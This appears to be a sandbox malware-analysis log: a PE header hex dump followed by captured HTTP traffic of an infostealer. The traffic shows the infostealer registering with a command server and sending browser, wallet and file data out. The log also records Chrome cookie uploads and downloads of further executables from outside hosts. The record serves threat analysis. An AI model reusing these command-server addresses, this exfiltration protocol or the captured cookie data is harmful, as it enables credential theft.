10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 7c 61 04 00 00 40 0d 00 00 62 04 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 b0 11 00 00 76 00 00 00 56 11 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAAEGIJKEGHIDGCBAEBHost: 85.28.47.30Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 41 41 45 47 49 4a 4b 45 47 48 49 44 47 43 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 45 46 36 41 36 32 38 32 45 35 38 34 35 37 37 30 33 39 37 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 41 45 47 49 4a 4b 45 47 48 49 44 47 43 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4e 69 63 65 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 41 45 47 49 4a 4b 45 47 48 49 44 47 43 42 41 45 42 2d 2d 0d 0a Data Ascii: ------HCAAEGIJKEGHIDGCBAEBContent-Disposition: form-data; name="hwid"18EF6A6282E5845770397------HCAAEGIJKEGHIDGCBAEBContent-Disposition: form-data; name="build"Nice------HCAAEGIJKEGHIDGCBAEB--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDHCBAEHJJJKKFIDGHJEHost: 85.28.47.30Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 63 37 34 30 37 34 61 38 32 66 35 65 38 32 36 31 62 61 34 30 62 62 62 34 63 36 35 63 65 36 66 66 35 31 34 61 36 35 38 38 30 65 36 39 30 34 65 37 32 38 31 37 62 63 32 66 33 64 32 36 65 39 35 63 36 37 36 61 30 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 47 48 4a 45 2d 2d 0d 0a Data Ascii: ------JDHCBAEHJJJKKFIDGHJEContent-Disposition: form-data; name="token"cbc74074a82f5e8261ba40bbb4c65ce6ff514a65880e6904e72817bc2f3d26e95c676a02------JDHCBAEHJJJKKFIDGHJEContent-Disposition: form-data; name="message"browsers------JDHCBAEHJJJKKFIDGHJE--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDBAFIIECBFHIEBKJJKHost: 85.28.47.30Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 63 37 34 30 37 34 61 38 32 66 35 65 38 32 36 31 62 61 34 30 62 62 62 34 63 36 35 63 65 36 66 66 35 31 34 61 36 35 38 38 30 65 36 39 30 34 65 37 32 38 31 37 62 63 32 66 33 64 32 36 65 39 35 63 36 37 36 61 30 32 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="token"cbc74074a82f5e8261ba40bbb4c65ce6ff514a65880e6904e72817bc2f3d26e95c676a02------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="message"plugins------GHDBAFIIECBFHIEBKJJK--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIJJEGDBFIIDGCAKJEBKHost: 85.28.47.30Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 4a 4a 45 47 44 42 46 49 49 44 47 43 41 4b 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 63 37 34 30 37 34 61 38 32 66 35 65 38 32 36 31 62 61 34 30 62 62 62 34 63 36 35 63 65 36 66 66 35 31 34 61 36 35 38 38 30 65 36 39 30 34 65 37 32 38 31 37 62 63 32 66 33 64 32 36 65 39 35 63 36 37 36 61 30 32 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 4a 45 47 44 42 46 49 49 44 47 43 41 4b 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 4a 45 47 44 42 46 49 49 44 47 43 41 4b 4a 45 42 4b 2d 2d 0d 0a Data Ascii: ------HIJJEGDBFIIDGCAKJEBKContent-Disposition: form-data; name="token"cbc74074a82f5e8261ba40bbb4c65ce6ff514a65880e6904e72817bc2f3d26e95c676a02------HIJJEGDBFIIDGCAKJEBKContent-Disposition: form-data; name="message"fplugins------HIJJEGDBFIIDGCAKJEBK--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDBFCAEBFIJJKFHDAECHost: 85.28.47.30Content-Length: 6143Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/sqlite3.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHIIIJDAAAAAAKECBFBHost: 85.28.47.30Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 63 37 34 30 37 34 61 38 32 66 35 65 38 32 36 31 62 61 34 30 62 62 62 34 63 36 35 63 65 36 66 66 35 31 34 61 36 35 38 38 30 65 36 39 30 34 65 37 32 38 31 37 62 63 32 66 33 64 32 36 65 39 35 63 36 37 36 61 30 32 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4d 54 45 32 4d 54 55 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 51 74 4d 54 4d 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 4d 77 4f 44 45 31 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 57 59 31 64 6c 42 47 52 33 63 74 54 56 70 5a 62 7a 56 6f 64 32 55 74 4d 46 52 6f 51 56 5a 7a 62 47 4a 34 59 6d 31 32 5a 46 5a 61 64 32 4e 49 62 6e 46 57 65 6c 64 49 51 56 55 78 4e 48 59 31 4d 30 31 4f 4d 56 5a 32 64 33 5a 52 63 54 68 69 59 56 6c 6d 5a 7a 49 74 53 55 46 30 63 56 70 43 56 6a 56 4f 54 30 77 31 63 6e 5a 71 4d 6b 35 58 53 58 46 79 65 6a 4d 33 4e 31 56 6f 54 47 52 49 64 45 39 6e 52 53 31 30 53 6d 46 43 62 46 56 43 57 55 70 46 61 48 56 48 63 31 46 6b 63 57 35 70 4d 32 39 55 53 6d 63 77 59 6e 4a 78 64 6a 46 6b 61 6d 52 70 54 45 70 35 64 6c 52 54 56 57 68 6b 53 79 31 6a 4e 55 70 58 59 57 52 44 55 33 4e 56 54 46 42 4d 65 6d 68 54 65 43 31 47 4c 54 5a 33 54 32 63 30 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 2d 2d 0d 0a Data Ascii: ------IEHIIIJDAAAAAAKECBFBContent-Disposition: form-data; name="token"cbc74074a82f5e8261ba40bbb4c65ce6ff514a65880e6904e72817bc2f3d26e95c676a02------IEHIIIJDAAAAAAKECBFBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------IEHIIIJDAAAAAAKECBFBContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFBGHDGCFHIDBGDGIIIEHost: 85.28.47.30Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 63 37 34 30 37 34 61 38 32 66 35 65 38 32 36 31 62 61 34 30 62 62 62 34 63 36 35 63 65 36 66 66 35 31 34 61 36 35 38 38 30 65 36 39 30 34 65 37 32 38 31 37 62 63 32 66 33 64 32 36 65 39 35 63 36 37 36 61 30 32 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 2d 2d 0d 0a Data Ascii: ------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="token"cbc74074a82f5e8261ba40bbb4c65ce6ff514a65880e6904e72817bc2f3d26e95c676a02------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="file"------BFBGHDGCFHIDBGDGIIIE--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDBKFHIJKJKECAAAECAHost: 85.28.47.30Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 63 37 34 30 37 34 61 38 32 66 35 65 38 32 36 31 62 61 34 30 62 62 62 34 63 36 35 63 65 36 66 66 35 31 34 61 36 35 38 38 30 65 36 39 30 34 65 37 32 38 31 37 62 63 32 66 33 64 32 36 65 39 35 63 36 37 36 61 30 32 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 2d 2d 0d 0a Data Ascii: ------GHDBKFHIJKJKECAAAECAContent-Disposition: form-data; name="token"cbc74074a82f5e8261ba40bbb4c65ce6ff514a65880e6904e72817bc2f3d26e95c676a02------GHDBKFHIJKJKECAAAECAContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------GHDBKFHIJKJKECAAAECAContent-Disposition: form-data; name="file"------GHDBKFHIJKJKECAAAECA--
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/freebl3.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/mozglue.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/msvcp140.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/nss3.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/softokn3.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/vcruntime140.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFCFBFBFBKFIDHJKFCAHost: 85.28.47.30Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKECFIEBGCAKJKECGCFIHost: 85.28.47.30Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 4b 45 43 47 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 63 37 34 30 37 34 61 38 32 66 35 65 38 32 36 31 62 61 34 30 62 62 62 34 63 36 35 63 65 36 66 66 35 31 34 61 36 35 38 38 30 65 36 39 30 34 65 37 32 38 31 37 62 63 32 66 33 64 32 36 65 39 35 63 36 37 36 61 30 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 4b 45 43 47 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 4b 45 43 47 43 46 49 2d 2d 0d 0a Data Ascii: ------KKECFIEBGCAKJKECGCFIContent-Disposition: form-data; name="token"cbc74074a82f5e8261ba40bbb4c65ce6ff514a65880e6904e72817bc2f3d26e95c676a02------KKECFIEBGCAKJKECGCFIContent-Disposition: form-data; name="message"wallets------KKECFIEBGCAKJKECGCFI--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJJKEBGHJKFIDGCAAFCAHost: 85.28.47.30Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 63 37 34 30 37 34 61 38 32 66 35 65 38 32 36 31 62 61 34 30 62 62 62 34 63 36 35 63 65 36 66 66 35 31 34 61 36 35 38 38 30 65 36 39 30 34 65 37 32 38 31 37 62 63 32 66 33 64 32 36 65 39 35 63 36 37 36 61 30 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 41 46 43 41 2d 2d 0d 0a Data Ascii: ------KJJKEBGHJKFIDGCAAFCAContent-Disposition: form-data; name="token"cbc74074a82f5e8261ba40bbb4c65ce6ff514a65880e6904e72817bc2f3d26e95c676a02------KJJKEBGHJKFIDGCAAFCAContent-Disposition: form-data; name="message"files------KJJKEBGHJKFIDGCAAFCA--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCBKFIEBGCAAFIEBFCAEHost: 85.28.47.30Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 42 4b 46 49 45 42 47 43 41 41 46 49 45 42 46 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 63 37 34 30 37 34 61 38 32 66 35 65 38 32 36 31 62 61 34 30 62 62 62 34 63 36 35 63 65 36 66 66 35 31 34 61 36 35 38 38 30 65 36 39 30 34 65 37 32 38 31 37 62 63 32 66 33 64 32 36 65 39 35 63 36 37 36 61 30 32 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 4b 46 49 45 42 47 43 41 41 46 49 45 42 46 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 4b 46 49 45 42 47 43 41 41 46 49 45 42 46 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 4b 46 49 45 42 47 43 41 41 46 49 45 42 46 43 41 45 2d 2d 0d 0a Data Ascii: ------GCBKFIEBGCAAFIEBFCAEContent-Disposition: form-data; name="token"cbc74074a82f5e8261ba40bbb4c65ce6ff514a65880e6904e72817bc2f3d26e95c676a02------GCBKFIEBGCAAFIEBFCAEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GCBKFIEBGCAAFIEBFCAEContent-Disposition: form-data; name="file"------GCBKFIEBGCAAFIEBFCAE--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBAAAKFCAFIIDHIDGHIEHost: 85.28.47.30Content-Length: 270Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 41 41 41 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 63 37 34 30 37 34 61 38 32 66 35 65 38 32 36 31 62 61 34 30 62 62 62 34 63 36 35 63 65 36 66 66 35 31 34 61 36 35 38 38 30 65 36 39 30 34 65 37 32 38 31 37 62 63 32 66 33 64 32 36 65 39 35 63 36 37 36 61 30 32 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 41 41 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 6a 62 64 74 61 69 6a 6f 76 67 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 41 41 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 2d 2d 0d 0a Data Ascii: ------FBAAAKFCAFIIDHIDGHIEContent-Disposition: form-data; name="token"cbc74074a82f5e8261ba40bbb4c65ce6ff514a65880e6904e72817bc2f3d26e95c676a02------FBAAAKFCAFIIDHIDGHIEContent-Disposition: form-data; name="message"jbdtaijovg------FBAAAKFCAFIIDHIDGHIE--
Source: global traffic	HTTP traffic detected: GET /mine/amadka.exe HTTP/1.1Host: 77.91.77.81Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFCBKKFBAEHJKEBKFCBHost: 85.28.47.30Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 45 46 36 41 36 32 38 32 45 35 38 34 35 37 37 30 33 39 37 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4e 69 63 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 2d 2d 0d 0a Data Ascii: ------CBFCBKKFBAEHJKEBKFCBContent-Disposition: form-data; name="hwid"18EF6A6282E5845770397------CBFCBKKFBAEHJKEBKFCBContent-Disposition: form-data; name="build"Nice------CBFCBKKFBAEHJKEBKFCB--
